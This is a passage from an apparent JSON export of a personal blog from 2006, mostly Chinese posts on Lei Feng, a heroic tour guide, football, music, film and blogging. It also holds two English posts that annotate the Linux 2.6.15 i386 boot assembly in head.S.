成为’雷锋’。\n","permalink":"https://tonybai.com/2006/03/04/popular-leifeng-spirit/","summary":"\u003cp\u003e每年的3月5号，全中国人民都会追忆一个已经逝去多年的’年轻人’，他就是雷锋。他身上的无私奉献、助人为乐的精神品质影响和感动着新中国的几代人，’\u003ca href=\"http://blog.sina.com.cn/lm/html/2006-03-02/335.html\"\u003e向雷锋同志学习\u003c/a\u003e‘的口号早已烙印在几乎每个成年中国人的心里。雷锋虽然已经离开我们40余年了，我们仍然在寻找着现实中的’雷锋’。\u003c/p\u003e","title":"草根化的'雷锋精神'"},{"content":"很喜欢看中央十套科教频道的栏目，感觉在中央台的这十几套节目当中，也就属这套科教频道’清新典雅’、’与世无争’了(不知道该用什么词藻描述了^_^)。昨晚偶然间看到的’人与社会‘栏目让我知道了一朵美丽的’花枝’的感人故事，这里和大家一起来感动。\n我并没有从头看起，一打开电视调到科教频道，映入眼帘的就是一起重大的车祸，当时还猜不出片子到底要讲一个什么样的故事。继续往下看，镜头在采访伤者和现场指挥之间切换着。而伤者讲述和现场指挥耳闻的都是一个’连续的、平静的、带有鼓励的声音’ — ‘坚持’。也是这个声音让很多绝望了的受伤的乘客重新燃起求生的欲望。这个声音到底是谁发出来的呢？随着片子的深入，一个瘦弱的年轻女孩儿出现在屏幕上，她的脸上有几丝血迹，靠在车座上一动也不能动。当救援人员试图对她进行营救的时候，她居然说：“别管我，先救游客”。也许看到这时你惊叹于她的行为，我也是。也许很多人这时会认为她受伤较轻，所以先想着别人也是情有可原的。片子继续，在救援过程中，这个女孩儿曾经昏死过去多次，但每当醒来她都会用平静的声音鼓励其他游客’坚持’。她是最后一个被救出来的，在被救出的那一刹那她还问了一句话：’都救出去了么？’。经过近十个小时的手术，这个女孩的命保住了，可是却永远的失去了一条左腿，这也推翻了我们前面的’轻伤’的想法。按医生的说法：如果早来一段时间，她的腿是能保住的！\n这个女孩儿究竟是谁？她就是我们美丽的’花枝’ — 湘潭新天地旅行社的导游文花枝，今年才22岁。设想一下我们的22岁时如果遇到这样的一起事故，我们的表现会是什么样子的呢？一个表面上文静弱小的女孩儿在突发危险的时候如此镇定自若，真是令人敬佩，或用用一位网友的词’敬仰’也不为过。事后文花枝的父亲曾责备她说\u0026quot;如果早点接受救援，就可以保住左腿\u0026quot;。文花枝大致(句子中有方言成分)是这样回答的\u0026quot;你家的小孩儿是宝贝，别人家的就不是宝贝了么？\u0026quot;。看到这时我的心里也说不上来是什么样的感觉，很多词如’感动’、’震撼’、’伟大’等等都一股脑儿的涌了出来。面对自己伤残的左腿，文花枝脸上还是带着那种乐观、向上的表情。短短22年的人生体验，能有如此的生活态度，真是让我佩服，值得我们去体会去学习!\n令我欣慰的是文花枝现在得到了许许多多社会上的好心人的帮助，生活一切正常，她也正准备着给自己安装一个先进的假肢。也许在若干时间后，我们在某旅游景点仍旧能看到花枝美丽灿烂的笑容。\n","permalink":"https://tonybai.com/2006/03/03/beautiful-wenhuazhi/","summary":"\u003cp\u003e很喜欢看\u003ca href=\"http://www.cctv.com/homepage/profile/10/index.shtml\"\u003e中央十套科教频道\u003c/a\u003e的栏目，感觉在中央台的这十几套节目当中，也就属这套科教频道’清新典雅’、’与世无争’了(不知道该用什么词藻描述了^_^)。昨晚偶然间看到的’\u003ca href=\"http://www.cctv.com/program/rysh/02/index.shtml\"\u003e人与社会\u003c/a\u003e‘栏目让我知道了一朵美丽的’花枝’的感人故事，这里和大家一起来感动。\u003c/p\u003e\n\u003cp\u003e我并没有从头看起，一打开电视调到科教频道，映入眼帘的就是一起重大的车祸，当时还猜不出片子到底要讲一个什么样的故事。继续往下看，镜头在采访伤者和现场指挥之间切换着。而伤者讲述和现场指挥耳闻的都是一个’连续的、平静的、带有鼓励的声音’ — ‘坚持’。也是这个声音让很多绝望了的受伤的乘客重新燃起求生的欲望。这个声音到底是谁发出来的呢？随着片子的深入，一个瘦弱的年轻女孩儿出现在屏幕上，她的脸上有几丝血迹，靠在车座上一动也不能动。当救援人员试图对她进行营救的时候，她居然说：“别管我，先救游客”。也许看到这时你惊叹于她的行为，我也是。也许很多人这时会认为她受伤较轻，所以先想着别人也是情有可原的。片子继续，在救援过程中，这个女孩儿曾经昏死过去多次，但每当醒来她都会用平静的声音鼓励其他游客’坚持’。她是最后一个被救出来的，在被救出的那一刹那她还问了一句话：’都救出去了么？’。经过近十个小时的手术，这个女孩的命保住了，可是却永远的失去了一条左腿，这也推翻了我们前面的’轻伤’的想法。按医生的说法：如果早来一段时间，她的腿是能保住的！\u003c/p\u003e","title":"美丽的'花枝'"},{"content":"After being decompressed, the kernel image starts with another ‘startup_32′ function included in $(linux-2.6.15.3_dir/arch/i386/kernel/head.S’. This ‘head.S’ is the second one in linux source package, which is also called ‘kernel head’. And it is exactly what we want to describe in this artical.\nThe kernel head continues to perform higher initialization operations for the first linux process(process 0). It sets up an execution environment for the kernel main routine just like what the operating system does before an application begins to start. There are two entries for CPUs in this ‘head.S’ and we only talk about the execution routine of the boot CPU.\n/*\n* ! $(linux2.6.3.15_dir)/arch/i386/kernel/head.S\n*/\nENTRY(startup_32)\n/*\n* ! We still use liner address, since\n* ! %ds = %es = %fs = %gs = __BOOT_DS\n* ! we use the third segment which base\n* ! address starts from 0×00000000\n*/\ncld\nlgdt boot_gdt_descr – __PAGE_OFFSET\nmovl $(__BOOT_DS),%eax\nmovl %eax,%ds\nmovl %eax,%es\nmovl %eax,%fs\nmovl %eax,%gs\n/*\n* ! Clear the kernel bss\n*/\nxorl %eax,%eax\nmovl $__bss_start – __PAGE_OFFSET,%edi\nmovl $__bss_stop – __PAGE_OFFSET,%ecx\nsubl %edi,%ecx\nshrl $2,%ecx\nrep ; stosl\nAfter copying the bootup parameters, it prepares to enable the paging. Before the paging enabled, some data structure should be loaded first following the ‘Intel Manual Vol3′.\n/*\n* ! Initialize the provisional kernel page tables\n* ! which are stored starting from pg0, right after\n* ! the end of the kernel’s uninitialized data segments(bss).\n* ! and the provisional page global directory is\n* ! contained in the swapper_pg_dir variable.\n* !\n* ! page_pde_offset = 0x0c00\n*/\npage_pde_offset = (__PAGE_OFFSET \u0026gt;\u0026gt; 20);\n/*\n* ! this line indicates the table starts from ‘pg0′\n*/\nmovl $(pg0 – __PAGE_OFFSET), %edi\n/*\n* ! this line told us ‘swapper_pg_dir’ is the\n* ! page directory start point\n*/\nmovl $(swapper_pg_dir – __PAGE_OFFSET), %edx\n/*\n* ! There were 1024 entries in ‘swapper_pg_dir’\n* ! since the code below:\n* ! ENTRY(swapper_pg_dir)\n* ! .fill 1024,4,0\n* !\n* ! The first mapping:\n* ! both entry 0 and entry 0×300 (page_pde_offset/4) –\u0026gt; pg0\n* ! that is (0×000000000x007fffff) —\u0026gt; pg0\n* ! The second mapping:\n* ! both entry 1 and entry 0×301 (page_pde_offset/4+1) –\u0026gt; pg1 (the page following pg0)\n* ! that is (0xC00000000xC07fffff) —\u0026gt; pg1\n* !\n* ! The objective of this first phase of paging is to\n* ! allow these 8 MB of RAM to be easily addressed\n* ! both in real mode and protected mode.\n*/\nmovl $0×007, %eax /* 0×007 = PRESENT+RW+USER */\n10:\nleal 0×007(%edi),%ecx /* Create PDE entry */\nmovl %ecx,(%edx) /* Store identity PDE entry */\nmovl %ecx,page_pde_offset(%edx) /* Store kernel PDE entry */\naddl $4,%edx\nmovl $1024, %ecx\n11:\nstosl\naddl $0×1000,%eax\nloop 11b\n/* End condition: we must map up to and including INIT_MAP_BEYOND_END */\n/* bytes beyond the end of our own page tables; the +0×007 is the attribute bits */\nleal (INIT_MAP_BEYOND_END+0×007)(%edi),%ebp\ncmpl %ebp,%eax\njb 10b\nmovl %edi,(init_pg_tables_end – __PAGE_OFFSET)\n/*\n* ! here just the boot CPU go this way\n*/\n#ifdef CONFIG_SMP\nxorl %ebx,%ebx /* This is the boot CPU (BSP) */\njmp 3f\nThe kernel page tables have been loaded and we can enable the paging now!\n/*\n* Enable paging\n*/\nmovl $swapper_pg_dir-__PAGE_OFFSET,%eax\n/*\n* ! load the table physical address into the %cr3\n*/\nmovl %eax,%cr3 /* set the page table pointer.. */\nmovl %cr0,%eax\norl $0×80000000,%eax\n/*\n* ! Enable the paging\n*/\nmovl %eax,%cr0 /* ..and set paging (PG) bit */\n/*\n* ! A relative jump after the paging enabled\n*/\nljmp $__BOOT_CS,$1f /* Clear prefetch and normalize %eip */\n1:\n/* Set up the stack pointer */\nlss stack_start,%esp\nThere is a relative jump instruction – ‘ljmp $(__BOOT_CS), $1f’. Maybe you wonder what the ‘$1f’ means. ’1′ is a local symbol. To define a local symbol, write a label of the form ‘N:’ (where N represents any digit). To refer to the most recent previous definition of that symbol write ‘Nb’, using the same digit as when you defined the label. To refer to the next definition of a local label, write ‘Nf’. The ‘b’ stands for \u0026ldquo;backwards\u0026rdquo; and the ‘f’ stands for \u0026ldquo;forwards\u0026rdquo;. Now we are in 32-bit protected mode with paging enable. so we still need to re-do something done in 16-bit mode for ‘real-mode’ operations.\n/*\n* ! Setup the interrupt descriptor table\n* ! All the 256 entries are pointing to\n* ! the default interrupt \u0026ldquo;handler\u0026rdquo; — ‘ignore_int’\n*/\ncall setup_idt\n….\n….\nsetup_idt:\nlea ignore_int,%edx\nmovl $(__KERNEL_CS \u0026lt;\u0026lt; 16),%eax\nmovw %dx,%ax /* selector = 0×0010 = cs */\nmovw $0x8E00,%dx /* interrupt gate – dpl=0, present */\n/*\n* ! idt_table varible is defined\n* ! in $(linux2.6.3.15_dir)/arch/i386/kernel/traps.c\n*/\nlea idt_table,%edi\nmov $256,%ecx\nrp_sidt:\nmovl %eax,(%edi)\nmovl %edx,4(%edi)\naddl $8,%edi\ndec %ecx\njne rp_sidt\nret\nAfter checking the type of CPU, the kernel head prepare to call the kernel main function ‘start_kernel’. /*\n* ! use new descriptor table in safe place\n* ! then reload segment registers after lgdt\n*/\nlgdt cpu_gdt_descr\nlidt idt_descr\nljmp $(__KERNEL_CS),$1f\n1: movl $(__KERNEL_DS),%eax # reload all the segment registers\nmovl %eax,%ss # after changing gdt.\nmovl $(__USER_DS),%eax # DS/ES contains default USER segment\nmovl %eax,%ds\nmovl %eax,%es\nxorl %eax,%eax # Clear FS/GS and LDT\nmovl %eax,%fs\nmovl %eax,%gs\nlldt %ax\ncld # gcc2 wants the direction flag cleared at all times\n…\n…\n/*\n* ! The boot CPU will jump to execute\n* ! $(linux2.6.3.15_dir)/init/main.c:start_kernel()\n* ! And the start_kernel() should never return */\ncall start_kernel\nL6:\njmp L6 # main should never return here, but\n# just in case, we know what happens.\n","permalink":"https://tonybai.com/2006/03/02/kernel-head/","summary":"\u003cp\u003eAfter being decompressed, the kernel image starts with another ‘startup_32′ function included in $(linux-2.6.15.3_dir/arch/i386/kernel/head.S’. This ‘head.S’ is the second one in linux source package, which is also called ‘kernel head’. And it is exactly what we want to describe in this artical.\u003c/p\u003e","title":"Kernel 'head.S'"},{"content":"今天是国际比赛日，我们的国足也开拔到阿联酋在著名的’艾因主场’与伊拉克队过招，进行’2007亚洲杯预选赛‘的第二场小组赛，写这篇Blog时，比赛正在直播，我也同步写下此时的感受。\n[上半时 - 中国0 : 1伊拉克]\n不出所料，朱指导排出四个后卫和三个后腰的阵容，虽然张耀坤出任右前卫，但是整个上半时张耀坤都在防守，而且还吃到一张黄牌。出任前锋的是两个在国外踢球的年轻前锋石俊和小董。石俊倒是很中规中矩，默默地执行着教练的意图，但是毕竟孤掌难鸣，抢不到球，即使抢到球也在伊拉克人的干扰下摆渡不到位，我想小石在场上一定很郁闷。在这种防守为方针指导的比赛中，他还能怎么样呢？也许很多人都和我一样不明白，为什么中国队要’缩头当孙子’？为什么中国队不能像个男人一样，即使死也要死得壮烈！而不是像现在这样，被一个不能在自己国家的土地上比赛，连自己的主场都没有的球队’蹂躏’。中国的球员从哪方面比较比伊拉克人差？是待遇、是金钱还是球技？我想都不是，从上半场比赛我看不出这批球员(特别是一些老球员)的国家荣誉感，他们不想想他们代表的是中国，先不谈输赢，为了国家的尊严我们也该像疯狗似的踢吧！朱指导不是说我们要有’疯狗’精神么？像个男人一样好不好？真TMD生气！下半场开始了… 最伟大的就是我们这些球迷了^_^，踢得那么滥，我们还要关注，因为我们有国家荣誉感，无论是哪个层次国家队的比赛，我们都会支持，尽管不能到现场。\n[下半时 - 中国1 : 2伊拉克]\n下半场刚开始，国足表现有所改观，换上了邵佳一，并在进一球后，换上了陈涛试图加强进攻。但是也许朱指导似乎忘了一点，那就是思维惯性，上半场45分钟的回缩防守已经让这批’终日’在一起集训的球员们忘记了如何进攻了，大脚的长传似乎让我们想到了若干年前那个更加落后的中国队，啥都不要说了，看来’瘦死的骆驼还不如马’呢！一直对朱指导印象不错，也一直不想评论朱指导，但这次我是要说了，’朱指导，你糊涂！’\n就这样，中国人的尊严再一次被践踏！\n","permalink":"https://tonybai.com/2006/03/01/dead-camel-thinner-than-a-horse/","summary":"\u003cp\u003e今天是国际比赛日，我们的国足也开拔到阿联酋在著名的’艾因主场’与伊拉克队过招，进行’\u003ca href=\"http://sports.sina.com.cn/z/asiancup2007_pre/\"\u003e2007亚洲杯预选赛\u003c/a\u003e‘的第二场小组赛，写这篇Blog时，比赛正在直播，我也同步写下此时的感受。\u003c/p\u003e\n\u003cp\u003e[上半时 - 中国0 : 1伊拉克]\u003cbr\u003e\n不出所料，朱指导排出四个后卫和三个后腰的阵容，虽然张耀坤出任右前卫，但是整个上半时张耀坤都在防守，而且还吃到一张黄牌。出任前锋的是两个在国外踢球的年轻前锋石俊和小董。石俊倒是很中规中矩，默默地执行着教练的意图，但是毕竟孤掌难鸣，抢不到球，即使抢到球也在伊拉克人的干扰下摆渡不到位，我想小石在场上一定很郁闷。在这种防守为方针指导的比赛中，他还能怎么样呢？也许很多人都和我一样不明白，为什么中国队要’缩头当孙子’？为什么中国队不能像个男人一样，即使死也要死得壮烈！而不是像现在这样，被一个不能在自己国家的土地上比赛，连自己的主场都没有的球队’蹂躏’。中国的球员从哪方面比较比伊拉克人差？是待遇、是金钱还是球技？我想都不是，从上半场比赛我看不出这批球员(特别是一些老球员)的国家荣誉感，他们不想想他们代表的是中国，先不谈输赢，为了国家的尊严我们也该像疯狗似的踢吧！朱指导不是说我们要有’疯狗’精神么？像个男人一样好不好？真TMD生气！下半场开始了… 最伟大的就是我们这些球迷了^_^，踢得那么滥，我们还要关注，因为我们有国家荣誉感，无论是哪个层次国家队的比赛，我们都会支持，尽管不能到现场。\u003c/p\u003e","title":"'瘦死的骆驼不如马'"},{"content":"年过得真快，转眼已到了传统佳节中的’二月二’龙抬头的日子了，相信在今天全国大大小小的理发店肯定会着实的火上一把，我可不想去凑这个热闹，还是老老实实在家里写Blog吧^_^。跑题了，这里我们要谈的不是节日，而是音乐。最近一直把自己的音乐关注焦点集中到了’网络原创歌曲’上，有几首好歌想和大家一起分享一下。\n在说网络歌曲之前，我还是忍不住要说说我很喜欢的一个乐队’WestLife‘。如果没记错的话，WestLife在今年1月20号左右到沪市宣传其复出后的首张专辑’Face To Face‘，其中的单曲’You Raise Me Up‘堪称经典。一句’You raise me up’大气磅礴，那种声音就好像来自广袤的高山，那么的通透和富有感染力，其中的合声部分也做的相当出色，另外WestLife的接近完美的合声也一直是我忠爱该乐队的一个原因之一，简直太棒了！\nOK，下面介绍两首我很喜欢的’网络原创歌曲’。(这里的网络歌曲均来自’TOM网络歌曲排行榜‘)\n‘双鱼与狮子的爱情日记‘，这是一首情人节歌曲。记得刚听到这首歌曲时恰逢情人节，歌曲节奏优美，歌词颇有新意，两位歌手狼二和cici的演唱也颇专业，所以这首歌让我这个双鱼座的’一听倾心’也就不奇怪了。\n‘启示录‘，一个玩Hip hop的网络歌手’陈旭’，这首’启示录’也是其’主打歌’。这首歌的整体把握不错，无论词曲都有独特之处，特别是后段旁白的’RAP’，为该曲带来了不少靓点，作为一个业余的爱好者能创作出这样的歌曲已经实属不易。唯一感到有些缺憾的就是感觉陈旭的唱功还并不到位。\n数码技术的飞速发展，让’制作自己的歌’成为可能，而且制作门槛降低了很多，网络音乐日益壮大，我还会继续关注网络原创，相信会有越来越多的优秀原创歌曲走进我们的生活。\n","permalink":"https://tonybai.com/2006/03/01/recommend-music-of-2006-02/","summary":"\u003cp\u003e年过得真快，转眼已到了传统佳节中的’\u003ca href=\"http://cn.netor.com/know/tcustom/tclass.asp?tclassid=122\"\u003e二月二’龙抬头\u003c/a\u003e的日子了，相信在今天全国大大小小的理发店肯定会着实的火上一把，我可不想去凑这个热闹，还是老老实实在家里写Blog吧^_^。跑题了，这里我们要谈的不是节日，而是音乐。最近一直把自己的音乐关注焦点集中到了’网络原创歌曲’上，有几首好歌想和大家一起分享一下。\u003c/p\u003e\n\u003cp\u003e在说网络歌曲之前，我还是忍不住要说说我很喜欢的一个乐队’\u003ca href=\"http://www.westlife.com/\"\u003eWestLife\u003c/a\u003e‘。如果没记错的话，WestLife在今年1月20号左右到沪市宣传其复出后的首张专辑’\u003ca href=\"http://www.westlife.com/releases.php?id=80\"\u003eFace To Face\u003c/a\u003e‘，其中的单曲’\u003ca href=\"http://mp3.baidu.com/m?f=ms\u0026amp;tn=baidump3\u0026amp;ct=134217728\u0026amp;lf=\u0026amp;rn=\u0026amp;word=you+raise+me+up+westlife\u0026amp;lm=-1\"\u003eYou Raise Me Up\u003c/a\u003e‘堪称经典。一句’You raise me up’大气磅礴，那种声音就好像来自广袤的高山，那么的通透和富有感染力，其中的合声部分也做的相当出色，另外WestLife的接近完美的合声也一直是我忠爱该乐队的一个原因之一，简直太棒了！\u003c/p\u003e","title":"2006杏月靓乐"},{"content":"看过\u0026rsquo;The Lord Of Rings\u0026lsquo;三部曲的人一定都会记住其中的一个角色，那就是影片中人族的领袖\u0026rsquo;阿拉贡(Aragon)\u0026rsquo;。他正义、勇敢的气质让众多魔戒Fans为之倾倒。而扮演\u0026rsquo;阿拉贡\u0026rsquo;的演员维果.莫坦森(Viggo Mortensen)，也因此一炮走红。\u0026lsquo;魔戒\u0026rsquo;告一段落后，\u0026lsquo;阿拉贡\u0026rsquo;又在2005年秋季档期为我们演绎了一段\u0026rsquo;暴力史\u0026rsquo;，这部影片同样也吸引了众多\u0026rsquo;阿拉贡\u0026rsquo;迷的眼球。\n看惯了高大伟岸形象的\u0026rsquo;阿拉贡\u0026rsquo;迷们一定会震惊于\u0026rsquo;暴力史(A History of Violence)\u0026lsquo;中的\u0026rsquo;Tom Stall\u0026rsquo;的形象。我的第一感觉就是略有些苍老、眼神儿中透露出迷茫，这显然在为后面的故事做着铺垫。影片在开始处衔接得很好，\u0026lsquo;Tom Stall\u0026rsquo;小女儿梦中惊醒预示着后来\u0026rsquo;Tom Stall\u0026rsquo;的梦醒，以及其\u0026rsquo;暴力史\u0026rsquo;的难以继续掩饰。该部影片的导演是大名鼎鼎的号称\u0026rsquo;性欲恐怖之王\u0026rsquo;和\u0026rsquo;血腥男爵\u0026rsquo;的大卫.柯南伯格(David Cronenberg)，这也是我第一次看到David的电影。虽是\u0026rsquo;血腥男爵\u0026rsquo;指导的作品，但是我感觉这部电影的血腥程度倒不是很高，而且感觉该部电影在表现血腥场面时手法应该是很独特，静止的鲜血加上瞬间的人像特写，后者则着重描写人在被\u0026rsquo;摧残\u0026rsquo;后的痛苦之状。虽说这是一部带有血腥的电影，但是整部电影情节都趋于平淡，打斗场面真实而迅速，想必这样的一部电影，迫使人们思考才是它最大的意图，也是导演的最大意图。维果.莫坦森饰演的\u0026rsquo;Tom Stall\u0026rsquo;在影片中少了一些黑帮老大的\u0026rsquo;潇洒\u0026rsquo;，多的却是一箩筐的\u0026rsquo;无奈\u0026rsquo;，三年的与世无争的生活让Tom心中的\u0026rsquo;暴力\u0026rsquo;情节已经被深深埋藏，一起偶然的\u0026rsquo;英雄\u0026rsquo;事件让他又不得不面对以往的老对手。为了保护家人，Tom被一步一步的带回到\u0026rsquo;暴力\u0026rsquo;之中，他没得选择。而\u0026rsquo;暴力\u0026rsquo;又换来了\u0026rsquo;家人的不理解和恐惧的眼神\u0026rsquo;，Tom再次选择彻彻底底地结束自己过去的恩怨。最后一次暴力后，Tom回到了家人身边，\u0026lsquo;女儿\u0026rsquo;端来的的餐具和\u0026rsquo;儿子\u0026rsquo;递过来的烤肉相信会让Tom至此永远脱离自己的\u0026rsquo;暴力史\u0026rsquo;。作为一名曾经的黑帮分子其实在整部电影中表现的都是一个脆弱的人物，这也正符合女主角玛丽亚.贝洛的想法，她认为“自己扮演的妻子Eddi比Mortensen扮演的丈夫更强悍，Eddi有一种男人般的力量，但当他们的家庭受到威胁后，她又回到了女性的脆弱”。\n","permalink":"https://tonybai.com/2006/02/28/a-history-of-violence/","summary":"\u003cp\u003e看过\u0026rsquo;\u003ca href=\"http://www.lordoftherings.net/\"\u003eThe Lord Of Rings\u003c/a\u003e\u0026lsquo;三部曲的人一定都会记住其中的一个角色，那就是影片中人族的领袖\u0026rsquo;阿拉贡(Aragon)\u0026rsquo;。他正义、勇敢的气质让众多魔戒Fans为之倾倒。而扮演\u0026rsquo;阿拉贡\u0026rsquo;的演员维果.莫坦森(Viggo Mortensen)，也因此一炮走红。\u0026lsquo;魔戒\u0026rsquo;告一段落后，\u0026lsquo;阿拉贡\u0026rsquo;又在2005年秋季档期为我们演绎了一段\u0026rsquo;暴力史\u0026rsquo;，这部影片同样也吸引了众多\u0026rsquo;阿拉贡\u0026rsquo;迷的眼球。\u003c/p\u003e","title":"'阿拉贡'的'暴力史'"},{"content":"以前我对博客的理解较简单，就是自己在网络上的一处’栖息地’，用来间歇地发发牢骚、谈谈感受罢了。至于Blog的’价值’自己倒没有真正想过，今天试用了一把’博客价值评估工具’，呵呵，结果我的博客价值’9562 RMB’^_^.\n除了上面提到的’博客价值评估工具‘外，网络上还有很多这种工具，其中比较著名的有’How Much Is My Blog Worth?‘等。不同的工具由于其评估的算法不一致，从而你的博客的价值也就不同。当然这些工具的娱乐成份较大，不必对结果太过斤斤计较。\n在这个世界，几乎任何事情都能和’钱’挂钩。博客也不例外。如何利用博客赚钱是现在很多人讨论的话题。不信你就Google一下，各种’琳琅满目’的博客赚钱技巧足以让你眼花缭乱。什么样的博客才能吸引众商家的眼球呢？毫无疑问，访问量大的博客站点，诸如’老徐‘(短短100多天，1000万的点击率，我想这个记录在今后的很长一段时间内都无人能撼动了)、’Keso‘等。而利用Blog赚钱的最直接途径就是在Blog上贴广告。谁也不能阻止博客名人去赚钱，但是赚钱时还是要谨慎的，因为常常由于’分赃不均’而导致一些不愉快的事情发生。这不’老徐’就因为这个与BSP(Blog Service Provider)新浪网发生了一点儿小小的’矛盾‘。\n其实在大多数人整天想着如何用博客赚钱的同时，他们并没有意识到博客的真实价值所在。博客的真实价值在哪？其实就是你在刚开通你的第一个博客站点时的想法。我想绝大多数Blogger的初衷不是为了赚钱，所以在这里我们可以回答题目中所提到的问题：好博客，’一文不值’(反之则不成立) — 好博客需要的是更多的关注和沟通，而不是去要求你的’Fans’去点击那些满屏飞舞的小广告。\n","permalink":"https://tonybai.com/2006/02/28/how-much-is-a-good-blog/","summary":"\u003cp\u003e以前我对博客的理解较简单，就是自己在网络上的一处’栖息地’，用来间歇地发发牢骚、谈谈感受罢了。至于Blog的’价值’自己倒没有真正想过，今天试用了一把’博客价值评估工具’，呵呵，结果我的博客价值’9562 RMB’^_^.\u003c/p\u003e","title":"好博客值几文？"},{"content":"今天’新浪2006世界杯足球赛网站‘开张了，这意味着世界杯的味道愈来愈浓了，世界杯这一影响程度仅次于奥运会的体育项目离我们越来越近了。在这个站点上偶然发现这样一个热点调查 — ‘谁是世界足坛王者之王‘，我做出了我的选择。结果大多数人和我的选择一致，他就是’迭戈.马拉多纳’。\n当今世界被公认为球王的有两个人’马拉多纳‘和’贝利‘。围绕着谁到底是足球王中王的争论由来已久，两位球王也时不时地上演一番’口水战’。其实王者之王在每个人的心中的评价标准都是不同的。有人看荣誉，有人看球技，有人看人品，而我觉得王中之王需要的或许不一定是得到过多少至高无上的荣誉，或许不一定有过多少惊天地泣鬼神的球技，或许不一定有成百上千的美妙进球，但他一定要有那种敢于横刀立马、藐视群雄、舍我其谁的霸气。这一点’迭戈.马拉多纳’做到了，我想这也是很多球迷的共同心声。也许很多人不能理解，看看’迭戈’的’个人档案’也许你就能明了了。\n1982年夏天，马拉多纳转会巴塞罗那，在皇马的主场-伯纳乌球场，马拉多纳戏耍皇马后防线后进球，伯纳乌的球迷们不约而同的集体倒戈，起立为这个进球鼓掌喝彩。\n1984年马拉多纳以当时的世界第一身价转会到意大利名副其实的弱旅那不勒斯，而这之后的那不勒斯在1986-87赛季和1989-90赛季两度称雄意甲。\n1986年世界杯，巴西和法国是夺冠的最大热门，但阿根廷拥有马拉多纳。最终阿根廷夺冠，而这届世界杯被称作’一个人的世界杯’，这个人就是马拉多纳。\n1990年世界杯，阵容不整的阿根廷在马拉多纳的带领下居然闯进决赛。\n1994年世界杯，当时的阿根廷队被’巴蒂斯图塔‘称为’他经历过最强大的一支阿根廷队’，一路顺风顺水的阿根廷队在马拉多纳因服用违禁药物被停赛后，丢掉了灵魂而夭折。\n从上面的这些履历中，我们可以看到马拉多纳在世界足坛扮演的角色 — 一个地地道道的足球救世主。有了救世主，无论是俱乐部球队还是国家队就有了’灵魂’；相反失去这个救世主，就如1994年世界杯似的，球队离失败就相去不远了。这就是王者之王的风采。纵观世界足坛，谁又能有如此王者之风呢？是贝利、贝肯鲍尔还是克鲁伊夫？只有马拉多纳，他才是真正的世界足坛王者之王！\n","permalink":"https://tonybai.com/2006/02/28/who-is-the-king-of-football/","summary":"\u003cp\u003e今天’\u003ca href=\"http://2006.sina.com.cn/\"\u003e新浪2006世界杯足球赛网站\u003c/a\u003e‘开张了，这意味着\u003ca href=\"http://fifaworldcup.yahoo.com/06/en/\"\u003e世界杯\u003c/a\u003e的味道愈来愈浓了，世界杯这一影响程度仅次于奥运会的体育项目离我们越来越近了。在这个站点上偶然发现这样一个热点调查 — ‘\u003ca href=\"http://2006.sina.com.cn/h/legends/index.shtml\"\u003e谁是世界足坛王者之王\u003c/a\u003e‘，我做出了我的选择。结果大多数人和我的选择一致，他就是’迭戈.马拉多纳’。\u003c/p\u003e\n\u003cp\u003e当今世界被公认为球王的有两个人’\u003ca href=\"http://2006.sina.com.cn/h/legends/592.shtml\"\u003e马拉多纳\u003c/a\u003e‘和’\u003ca href=\"http://2006.sina.com.cn/h/legends/328.shtml\"\u003e贝利\u003c/a\u003e‘。围绕着谁到底是足球王中王的争论由来已久，两位球王也时不时地上演一番’口水战’。其实王者之王在每个人的心中的评价标准都是不同的。有人看荣誉，有人看球技，有人看人品，而我觉得王中之王需要的或许不一定是得到过多少至高无上的荣誉，或许不一定有过多少惊天地泣鬼神的球技，或许不一定有成百上千的美妙进球，但他一定要有那种敢于横刀立马、藐视群雄、舍我其谁的霸气。这一点’迭戈.马拉多纳’做到了，我想这也是很多球迷的共同心声。也许很多人不能理解，看看’迭戈’的’个人档案’也许你就能明了了。\u003c/p\u003e\n\u003cp\u003e1982年夏天，马拉多纳转会\u003ca href=\"http://www.fcbarcelona.com/\"\u003e巴塞罗那\u003c/a\u003e，在\u003ca href=\"http://www.realmadrid.com/\"\u003e皇马\u003c/a\u003e的主场-伯纳乌球场，马拉多纳戏耍皇马后防线后进球，伯纳乌的球迷们不约而同的集体倒戈，起立为这个进球鼓掌喝彩。\u003c/p\u003e\n\u003cp\u003e1984年马拉多纳以当时的世界第一身价转会到意大利名副其实的弱旅那不勒斯，而这之后的那不勒斯在1986-87赛季和1989-90赛季两度称雄意甲。\u003c/p\u003e","title":"谁是世界足坛王者之王？"},{"content":"_Why do we do this? Don’t ask me.. Incomprehensible are the ways of bootloaders.\n_ — comments in arch/i386/boot/compressed/misc.c\nThere are two ‘head.S’ in linux source package. One is in $(Linux-2.6.15.3_dir/arch/i386/boot/compressed and the other one is in $(Linux-2.6.15.3_dir/arch/i386/kernel. The first one will be analyzed in this artical. Before we go ahead, let’s show a news of linux, that is ‘Army leans toward Linux for FCS(Future Combat System)’.\nThe first ‘head.S’ is also called ‘compressed head’, which used to decompress the kernel image. Different from those code before, we are now in 32-bit protected mode with paging disabled. The ‘compressed head’ starts from ‘startup_32′.\n.text /* ! here just ‘.text’, without ‘.code16′ assembly directive */\n.globl startup_32\nstartup_32:\n/*\n* ! clear direction flag\n* ! and clear interrupt flag\n*/\ncld\ncli\n/*\n* ! all other segment registers are\n* ! reloaded after protected mode enabled\n* ! __BOOT_DS = 0×18\n*/\nmovl $(__BOOT_DS),%eax\nmovl %eax, %ds\nmovl %eax, %es\nmovl %eax, %fs\nmovl %eax, %gs\n/*\n* ! lss – load full pointer from memory\n* ! to register\n* ! and here ‘ss:esp = stack_start’\n*/\nlss stack_start,%esp\n/*\n* ! EAX = 0;\n* ! do {\n* ! DS:[0] = ++EAX;\n* ! } while (DS:[0x100000] == EAX);\n*/\nxorl %eax, %eax\n1: incl %eax # check that A20 really IS enabled\nmovl %eax, 0×000000 # loop forever if it isn’t\ncmpl %eax, 0×100000\nje 1b\nAfter reload the segment registers, the ‘compressed head’ clears the ‘eflags’ register and fills the kernel bss(the area of uninitialized data of the kernel identified by the _edata and _end symbols) with zeros. Then the decompressed process begins.\n/*\n* ! %esi has been loaded in ‘setup.S’ with ‘INITSET \u0026laquo; 4′\n* ! ‘subl $16,%esp’ used to store the first arg, that is\n* ! struct moveparams {\n* ! uch *low_buffer_start;\n* ! int lcount;\n* ! uch *high_buffer_start;\n* ! int hcount;\n* ! } mv;\n* ! the second arg is the %esi which indicates the position\n* ! of the real-mode data\n*/\nsubl $16,%esp # place for structure on the stack\nmovl %esp,%eax\npushl %esi # real mode pointer as second arg\npushl %eax # address of structure as first arg\n/*\n* ! if 